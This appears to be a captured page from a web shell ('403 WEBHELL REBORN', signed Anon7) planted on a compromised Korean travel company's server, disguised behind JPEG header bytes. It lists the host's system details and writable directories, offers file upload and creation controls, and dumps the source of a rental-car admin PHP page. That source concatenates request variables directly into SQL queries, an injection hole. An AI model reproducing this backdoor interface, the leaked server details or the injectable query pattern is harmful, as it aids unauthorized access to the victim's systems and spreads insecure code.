ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/res_good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/res_good/rentcar_reg.html
<?
include "../include/top_iframe.html";
include "../res_rentcar/_common.html";

if ($cseq) {
	// 상담마스터
	$data = contab_list(" and cseq = '{$cseq}' ");
	$row = $data[0];

	if ($row['res_no']) error_msg("alert('이미 예약된 상담입니다.');parent.to_dialog.close('{$tmp_layer_id}');","script");
}

// 제조사
$code_makr = base_codec("RNT","MAKR");

// 배기량
$code_engn = base_codec("RNT","ENGN");

// 챠량등급
$code_lvel = base_codec("RNT","LVEL");

//테이블명
$table = "TB_RENTCAR";

// 검색 설정
$sql_where = " and delflag='N' ";
if($makr_cd_s) $sql_where .= " and makr_cd = '{$makr_cd_s}'  ";// 제조사
if($engn_cd_s) $sql_where .= " and engn_cd = '{$engn_cd}'  ";// 배기량
if($lvel_cd_s) $sql_where .= " and lvel_cd = '{$lvel_cd_s}'  "; // 등급
if($car_nm_s) $sql_where .= " and car_nm like  '%{$car_nm_s}%' ";// 차량명

// 리스트 수 가져옴
$sql = "select count(*) as total from {$table} where 0=0 {$sql_where} ";

$row = db_fetch($sql);
$total = $row[total];

// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = 20; // 보여줄 갯수
$list = 10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1);

// 정렬 설정
$sql_order="";

// limit
$limit = " $olds , $line ";

//배열에 저장
$data = array();
$data = to_rentcar($sql_where,$sql_order,$limit);
?>
<div id="contents">
	<div class="iframe contents_wrap_in" style="margin:-80px 10px 10px 0px;">
	<!-- 폼 -->
	<form name="frm_search" id="frm_search" method="get">
	<input type="hidden" name="tmp_layer_id" value="<?=$tmp_layer_id?>">
	<input type="hidden" name="cseq" value="<?=$cseq?>">
	<table width="860" border="0" cellspacing="0" cellpadding="0"  class="setting_write">
		<tr><th> 
			<select name="makr_cd_s" id="makr_cd_s" class="lo_left top_input">
				<option value="">==제조사==</option>
				<?
					for($i=0 ; $i < count($code_makr) ; $i++){
						$arr = $code_makr[$i];
				?>
				<option value="<?=$arr['code']?>" <?=($arr['code']==$makr_cd_s)?"selected":""?>><?=$arr['cd_nm']?></option>
			<?}?>
			</select>

			<select name="engn_cd_s" id="engn_cd_s" class="lo_left top_input">
				<option value="">==배기량==</option>
				<?
					for($i=0 ; $i < count($code_engn) ; $i++){
						$arr = $code_engn[$i];
				?>
				<option value="<?=$arr['code']?>" <?=($arr['code']==$tab_s)?"selected":""?>><?=$arr['cd_nm']?>cc</option>
			<?}?>
			</select>

			<select name="lvel_cd_s" id="lvel_cd_s" class="lo_left top_input">
			<option value="">==등급==</option>
				<?
					for($i=0 ; $i < count($code_lvel) ; $i++){
						$arr = $code_lvel[$i];
				?>
				<option value="<?=$arr['code']?>" <?=($arr['code']==$lvel_cd_s)?"selected":""?>><?=$arr['cd_nm']?></option>
			<?}?>
			</select>
				차량명 <input class="search_box" id="car_nm_s" name="car_nm_s" value="<?=$car_nm_s?>" type="text" /><input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_img" />
		</th></tr>
	</table>
	</form>
	<!-- /폼 -->

	<div class="lo_left" style="margin:40px 10px 0 0;width:420px;overflow-x:auto;overflow-y:hidden;">
		<table border="0" width="100%" cellspacing="0" cellpadding="0" class="setting_write">
		<thead>
		<tr>
		<td colspan="5" class="t_top_line"></td>
		</tr>
		<tr>
		<th width="5">No.</th>
		<th>제조사</th>
		<th>차량명</th>
		<th>차량</th>
		<th>배기량</th>
		</tr>
		</thead>
		<tbody>
		<?
		for($i=0 ; $i < count($data) ; $i++){
			$arr = $data[$i];
			$num = $total - ($page - 1) * $line - $i;
		?>
		<tr id="list_num_<?=$arr['carid']?>" class="mouse_over" onclick="ajax_post('ajax_season_list','rentcar_season_ajax.html?carid=<?=$arr['carid']?>&cseq=<?=$cseq?>&tmp_layer_id=<?=$tmp_layer_id?>');ajax_post('ajax_res_list','res_rentcar_list.html');">
			<td><?=$num?></td>
			<td style="text-align:left;"><?=$arr['makr_nm']?></td><!-- 제조사 -->
			<td style="text-align:left;"><?=$arr['car_nm']?></td><!-- 차량명 -->
			<td><?=$arr['daesu']?></td><!-- 운영 -->
			<td><?=$arr['engn_nm2']?></td><!-- 배기량 -->
		</tr>
		<?
			}
		?>
		</tbody>
		</table>
		<?
			echo adm_get_paging($total_page, $page, $list, "?{$href}&page=", "");
		?>
	</div>

	<div class="lo_left" id="ajax_season_list" style="padding-top:10px;margin-top:10px;width:410px;overflow-x:auto;overflow-y:hidden;">
	</div>


	</div>
</div>
<script type="text/javascript">
var carid = '';
var cdate='';

$(".mouse_over").bind({
	mouseover:function(e){ $(this).css({"background-color":"#D7D7D7","cursor":"pointer"}); },
	mouseout:function(e){ $(this).css("background-color","#FFFFFF"); }
});
</script>
<?
include "../include/footer_iframe.html";
?>

Anon7 - 2021